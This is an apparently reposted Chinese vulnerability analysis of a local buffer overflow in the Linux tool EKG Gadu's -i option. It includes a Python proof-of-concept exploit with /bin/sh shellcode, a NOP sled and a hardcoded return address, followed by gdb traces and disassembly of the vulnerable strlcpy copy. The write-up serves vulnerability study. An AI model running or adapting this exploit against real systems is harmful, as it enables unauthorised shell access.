内容简介:作者:k0shl 转载请说明出处:https://whereisk0shl.top告诉大家一个坏消息: 今天是10月6号了,假期余额不足........... :PEKG Gadu是Linux系统下一个类似于诊断工具的软件,首先我要吐槽一下exploit-db上的exp,用这个exp是无法执行到漏洞函数的,需要增加参数-i才能够执行到漏洞函数,我提交的exp已经进行了修改,这个漏洞主要是-i参数负责处理文件路径时,如果传入超长的畸形文件,则会导致缓冲区溢出。
作者:k0shl 转载请说明出处:https://whereisk0shl.top
告诉大家一个坏消息: 今天是10月6号了,假期余额不足........... :P
漏洞说明
EKG Gadu是 Linux 系统下一个类似于诊断 工具 的软件,首先我要吐槽一下exploit-db上的exp,用这个exp是无法执行到漏洞函数的,需要增加参数-i才能够执行到漏洞函数,我提交的exp已经进行了修改,这个漏洞主要是-i参数负责处理文件路径时,如果传入超长的畸形文件,则会导致缓冲区溢出。
软件下载:
https://www.exploit-db.com/apps/c752577dfb5ea44513a3fb351d431afa-ekg_1.9~pre+r2855-3+b1_i386.debPoC:
import os, subprocess def run(): try: print "# EKG Gadu - Local Buffer Overflow by Juan Sacco" print "# This Exploit has been developed using Exploit Pack -http://exploitpack.com" # NOPSLED + SHELLCODE + EIP buffersize = 240 nopsled = "\x90"*30 shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" eip = "\x20\xf1\xff\xbf" buffer = nopsled * (buffersize-len(shellcode)) + eip subprocess.call(["ekg ",'-i', buffer]) except OSError as e: if e.errno == os.errno.ENOENT: print "Sorry, EKG Gadu - Not found!" else: print "Error executing exploit" raise def howtousage(): print "Snap! Something went wrong" sys.exit(-1) if __name__ == '__main__': try: print "Exploit EKG Gadu - Local Overflow Exploit" print "Author: Juan Sacco - Exploit Pack" except IndexError: howtousage() run()
漏洞分析
EKG Gadu是Linux系统下一个类似于诊断工具的软件,首先我要吐槽一下exploit-db上的exp,用这个exp是无法执行到漏洞函数的,需要增加参数-i才能够执行到漏洞函数,我提交的exp已经进行了修改,这个漏洞主要是-i参数负责处理文件路径时,如果传入超长的畸形文件,则会导致缓冲区溢出。
对这个软件进行分析时,由于原版的安装包安装时总是缺少三个依赖,怎么也装不上,所以用apt-get的方法下载了一个其他版本的ekg,可以进行分析。
首先通过bt来看一下堆栈回溯。
gdb$ run -i `python -c 'print "A"*258'` 0x0807e125 in strlcpy () gdb$ backtrace #0 0x0807e125 in strlcpy () #1 0x080570bb in ioctld_socket () #2 0x08052e60 in main ()
可以很清晰的看到main函数的内层调用,下面来进行逐步分析,首先是main函数,在main函数中,会对传入的参数进行判断。
while ( 2 ) { v10 = getopt_long(argc, (char *const *)argv, "b::a::i::F::d::pnc:f:hI:ot:u:vNA", (const struct option *)&v91, 0); if ( v10 == -1 ) { in_autoexec = 1; if ( argc > optind ) { v43 = optind; v44 = 0; do { v45 = argv[v43++]; v44 += strlen(v45) + 1;
这里通过getopt的方法,可以看到判断中包含了i,这个i就是要处理ioctlsocket的函数,检查到这个-i参数传递之后。
v28 = prepare_path(".socket", 1); pid = fork(); if ( !pid ) { if ( config_ioctld_enable == 1 ) { execl(v67, "ioctld", v28, 0, &unk_80A0590, v58, v59, v60, v61, v62, v72, v63, v24, v64, v66, &unk_80AEC60); } else if ( config_ioctld_enable == 2 ) { v50 = saprintf( "%d", config_ioctld_net_port, 1, 1024, &unk_80A0590, v58, v59, v60, v61, v62, v72, v63, v24, v64, v66, &unk_80AEC60); if ( execl(v67, "ioctld", v28, v50, 0) == -1 ) xfree(v50); } exit(0); } ioctld_socket((int)v28);
会进入-i参数的操作流程,最后涉及到ioctld_socket,也就是漏洞函数,这里动态跟踪一下。
Guessed arguments: arg[0]: 0xbffff582 ('A' <repeats 200 times>...) arg[1]: 0x809feac ("ioctld") arg[2]: 0x80abfa0 ("/root/.gg/.socket") arg[3]: 0x0 [------------------------------------stack-------------------------------------] 0000| 0xbffff0d0 --> 0xbffff582 ('A' <repeats 200 times>...) 0004| 0xbffff0d4 --> 0x809feac ("ioctld") 0008| 0xbffff0d8 --> 0x80abfa0 ("/root/.gg/.socket") 0012| 0xbffff0dc --> 0x0 0016| 0xbffff0e0 --> 0x80a0590 ("\r\n\r\n*** Naruszenie ochrony pami\352ci ***\r\n\r\nSpr\363buj\352 zapisa\346 ustawienia, ale nie obiecuj\352, \277e cokolwiek z tego\r\nwyjdzie. Trafi\261 one do plik\363w %s/config.%d\r\noraz %s/userlist.%d\r\n\r\nDo pliku %s/debug.%d za"...) 0020| 0xbffff0e4 --> 0x80bd6a0 ("/root/.gg") 0024| 0xbffff0e8 --> 0x2c11 0028| 0xbffff0ec --> 0x80bd6a0 ("/root/.gg") [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x08053379 in main ()
可以看到畸形字符串直接传递了,接下来跟入这个函数。
.text:08057040 mov [esp+9Ch+addr.sa_family], ax .text:08057045 lea eax, [esp+9Ch+addr.sa_data] .text:08057049 mov [esp+9Ch+type], ebx .text:0805704D lea edi, [esp+9Ch+addr] .text:08057051 mov ebx, 5 .text:08057056 mov [esp+9Ch+protocol], 6Ch .text:0805705E mov [esp+9Ch+fd], eax .text:08057061 call strlcpy .text:08057066 .text:08057066 loc_8057066: ; CODE XREF: ioctld_socket+B5j .text:08057066 mov eax, ioctld_sock .text:0805706B mov [esp+9Ch+protocol], 6Eh ; len .text:08057073 mov [esp+9Ch+type], edi ; addr .text:08057077 mov [esp+9Ch+fd], eax ; fd .text:0805707A call _connect .text:0805707F cmp eax, 0FFFFFFFFh
在地址08057061位置执行了一次字符串拷贝,这次拷贝的内容就是畸形字符串,在这个过程,没有对拷贝字符串进行长度控制,从而在strlcpy中发生了栈溢出,strlcpy是自定义函数,汇编代码如下。
.text:08081410 public strlcpy .text:08081410 strlcpy proc near ; CODE XREF: main+BFp .text:08081410 ; event_format_target+57p ... .text:08081410 .text:08081410 arg_0 = dword ptr 4 .text:08081410 arg_4 = dword ptr 8 .text:08081410 arg_8 = dword ptr 0Ch .text:08081410 .text:08081410 push ebp .text:08081411 push edi .text:08081412 push esi .text:08081413 push ebx .text:08081414 mov ecx, [esp+10h+arg_8] .text:08081418 mov edi, [esp+10h+arg_4] .text:0808141C cmp ecx, 1 .text:0808141F jbe short loc_8081476 .text:08081421 movzx ebx, byte ptr [edi] .text:08081424 test bl, bl .text:08081426 jz short loc_8081482 .text:08081428 mov esi, [esp+10h+arg_0] .text:0808142C lea edx, [edi+1] .text:0808142F jmp short loc_8081447 .text:0808142F ; --------------------------------------------------------------------------- .text:08081431 align 8 .text:08081438 .text:08081438 loc_8081438: ; CODE XREF: strlcpy+43j .text:08081438 movzx ebx, byte ptr [edx] .text:0808143B mov ebp, edx .text:0808143D add esi, 1 .text:08081440 add edx, 1 .text:08081443 test bl, bl .text:08081445 jz short loc_8081458 .text:08081447 .text:08081447 loc_8081447: ; CODE XREF: strlcpy+1Fj .text:08081447 mov eax, edx .text:08081449 sub ecx, 1 .text:0808144C sub eax, edi .text:0808144E cmp ecx, 1 .text:08081451 mov [esi], bl .text:08081453 jnz short loc_8081438 .text:08081455 .text:08081455 loc_8081455: ; CODE XREF: strlcpy+7Aj .text:08081455 lea ebp, [edi+eax] .text:08081458 .text:08081458 loc_8081458: ; CODE XREF: strlcpy+35j .text:08081458 ; strlcpy+76j .text:08081458 mov esi, [esp+10h+arg_0] .text:0808145C mov byte ptr [esi+eax], 0 .text:08081460 .text:08081460 loc_8081460: ; CODE XREF: strlcpy+70j .text:08081460 cmp byte ptr [ebp+0], 0 .text:08081464 jz short loc_8081471 .text:08081466 xchg ax, ax .text:08081468 .text:08081468 loc_8081468: ; CODE XREF: strlcpy+5Fj .text:08081468 add eax, 1 .text:0808146B cmp byte ptr [edi+eax], 0 .text:0808146F jnz short loc_8081468 .text:08081471 .text:08081471 loc_8081471: ; CODE XREF: strlcpy+54j .text:08081471 pop ebx .text:08081472 pop esi .text:08081473 pop edi .text:08081474 pop ebp .text:08081475 retn
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 漏洞预警 | ThinkPHP5远程命令执行漏洞
- WinRAR 代码执行漏洞复现
- struts2远程代码执行漏洞
- 【漏洞预警】 S2-057远程代码执行
- Gogs 远程命令执行漏洞分析
- 潜藏19年的WinRAR代码执行漏洞
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Remote
Jason Fried、David Heinemeier Hansson / Crown Business / 2013-10-29 / CAD 26.95
The “work from home” phenomenon is thoroughly explored in this illuminating new book from bestselling 37signals founders Fried and Hansson, who point to the surging trend of employees working from hom......一起来看看 《Remote》 这本书的介绍吧!